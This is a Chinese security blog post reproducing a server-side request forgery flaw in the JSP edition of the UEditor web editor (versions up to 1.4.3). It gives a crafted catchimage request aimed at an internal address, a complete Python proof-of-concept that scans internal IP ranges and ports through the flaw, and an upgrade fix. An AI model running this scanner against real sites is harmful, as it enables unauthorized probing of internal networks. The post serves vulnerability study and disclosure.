Ueditot_jsp SSRF漏洞复现

admin 2022年4月18日08:48:38评论322 views字数 2530阅读8分26秒阅读模式
1.前言
2.漏洞概述
3.漏洞原理
4.影响版本
5.漏洞等级
6.漏洞复现
6.1 FAFO实战复现
6.2 Ueditor_SSRF_jsp-env_POC.py
7.漏洞修复

1.前言
  今天在某项目对网站渗透测试时,发现某子域使用了Ueditor。百度Google发现其历史版本是有漏洞的,jsp环境的Ueditor存在SSRF,aspx环境的存在文件上传,竟然碰到了,就对该SSRF进行复现学习。

2.漏洞概述
  该编辑器v1.4.3版本存在SSRF漏洞,是Bool型的SSRF,除了可以进行内网探测外,也可以根据web应用指纹信息。
        参考文章https://www.seebug.org/vuldb/ssvid-97311

3.漏洞原理
  由于UEditor在v1.4.3之前没有加入对内部IP的限制,所以在使用抓取图片的功能时,造成SSRF漏洞。可以进行内网服务器的探测。之后可根据内网服务器的特征(如:/jmx-
console/images/logo.gif、/tomcat.png),判断其使用的组件,并猜测可能存在的漏洞,然后进行进一步的渗透。
   漏洞分析参考https://mp.weixin.qq.com/s/OPbyYQNWiN2dy_BHhqd9eg


4.影响版本
Ueditot_jsp <= 1.4.3

5.漏洞等级
高危

6.漏洞复现
6.1 FAFO实战复现
关键词title="完整demo"
Ueditot_jsp SSRF漏洞复现
SSRF内网探测依据:
Ueditot_jsp SSRF漏洞复现
构造URL:
http://x.x.x.x/jsp/controller.jsp?action=catchimage&source[]=http://192.168.135.133:8080/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png
Ueditot_jsp SSRF漏洞复现
 但这里出现了第4种情况:页面返回{"state": "SUCCESS", list: [{"state":
"u88abu963bu6b62u7684u8fdcu7a0bu4e3bu673a"} ]},即status为”被阻止的远程主机“。有可能该站点该SSRF已修复。如果存在SSRF,可以使用一下POC探测内网开放端口。

6.2 Ueditor_SSRF_jsp-env_POC.py
#!/usr/bin/env python3# -*- encoding: utf-8 -*-# Author: 浮萍# Write by afei00123
import json, requests, argparsefrom IPy import IP
def title(): print('*'.center(50, '*')) print("UEditor_jsp <= 1.4.3".center(50)) print("github:https://github.com/ltfafei".center(50)) print("gitee:https://gitee.com/afei00123".center(50)) print("CSDN: https://afei00123.blog.csdn.net/".center(50)) print("公众号:网络运维渗透".center(40)) print('*'.center(50, '*')) print("")
def Ueditor_SSRF_POC(url, ip, port): url = "{0}/jsp/controller.jsp?action=catchimage&source[]=http://{1}:{2}/0f3927bc-5f26-11e8-9c2d-fa7ae01bbebc.png".format(url, ip, port) res = requests.get(url).text res = res.replace("list", ""list"") res_json = json.loads(res) state = res_json['list'][0]['state'] if state == "远程连接出错" or state == "SUCCESS": print("{0}:{1} is open".format(ip, port)) print("")
def check_IP(url, ip, port): ips = IP(ip) for i in ips: Ueditor_SSRF_POC(url, i, port) print("端口探测完成")
if(__name__ == "__main__"): title() parser = argparse.ArgumentParser(description="Ueditor_SSRF_jsp-env_POC Script") parser.add_argument( '-u', '--url', metavar='', required='True', help = 'Please input target url. eg: -u http://ip:port, --url http://ip:port' ) parser.add_argument( '-H', '--ip', metavar='', required='True', help='Please input IP or segment. eg: -H 10.0.0.0/8, --ip 10.0.0.0/8' ) parser.add_argument( '-p', '--port', metavar='', required='True', help='Please input target port. eg: -d 8080, --port 8080' ) args = parser.parse_args() check_IP(args.url, args.ip, args.port)
Ueditot_jsp SSRF漏洞复现

7.漏洞修复
 建议升级Ueditot_jsp至1.4.3.1及以上版本。

更多文章请前往:https://blog.csdn.net/qq_41490561




Ueditot_jsp SSRF漏洞复现
更多精彩内容请关注我们

Ueditot_jsp SSRF漏洞复现


Ueditot_jsp SSRF漏洞复现


Ueditot_jsp SSRF漏洞复现

往期推荐

Ueditot_jsp SSRF漏洞复现

CVE-2021-26295 Apache OFBiz反序列化远程代码执行漏洞复现

某数字化校园系统通用型文件上传漏洞getshell(0day)

记录—成为更好的自己



原文始发于微信公众号(爱国小白帽):Ueditot_jsp SSRF漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月18日08:48:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ueditot_jsp SSRF漏洞复现https://cn-sec.com/archives/920798.html

发表评论

匿名网友 填写信息